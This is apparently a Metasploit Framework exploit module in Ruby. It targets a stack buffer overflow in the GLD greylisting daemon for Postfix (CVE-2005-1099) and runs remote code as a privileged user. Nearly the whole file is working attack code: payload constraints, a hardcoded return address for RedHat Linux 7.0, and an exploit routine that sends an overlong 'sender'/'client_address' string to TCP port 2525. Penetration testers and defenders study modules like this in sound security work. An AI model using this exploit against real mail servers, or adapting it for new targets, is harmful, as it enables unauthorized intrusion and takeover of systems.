79 lines
1.6 KiB
Ruby
79 lines
1.6 KiB
Ruby
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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module Msf
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class Exploits::Linux::Misc::GLD_Postfix < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'GLD (Greylisting Daemon) Postfix Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in the Salim Gasmi
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GLD <= 1.4 greylisting daemon for Postfix. By sending an
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overly long string the stack can be overwritten.
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},
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'Version' => '$Revision$',
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'Author' => [ 'patrick' ],
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'Arch' => ARCH_X86,
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'Platform' => 'linux',
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'References' =>
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[
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[ 'OSVDB', '15492' ],
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[ 'CVE', '2005-1099' ],
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[ 'BID', '13129' ],
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[ 'URL', 'http://www.milw0rm.com/exploits/934' ],
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],
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'Privileged' => true,
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'License' => MSF_LICENSE,
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00\x0a\x0d\x20=",
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'StackAdjustment' => -3500,
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},
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'Targets' =>
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[
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[ 'RedHat Linux 7.0 (Guinness)', { 'Ret' => 0xbfffa5d8 } ],
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],
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'DefaultTarget' => 0
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))
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register_options(
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[
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Opt::RPORT(2525)
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],
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self.class
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)
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end
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def exploit
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connect
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sploit = "sender="+ payload.encoded + "\r\n"
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sploit << "client_address=" + [target['Ret']].pack('V') * 300 + "\r\n\r\n"
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sock.put(sploit)
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handler
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disconnect
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end
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end
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end
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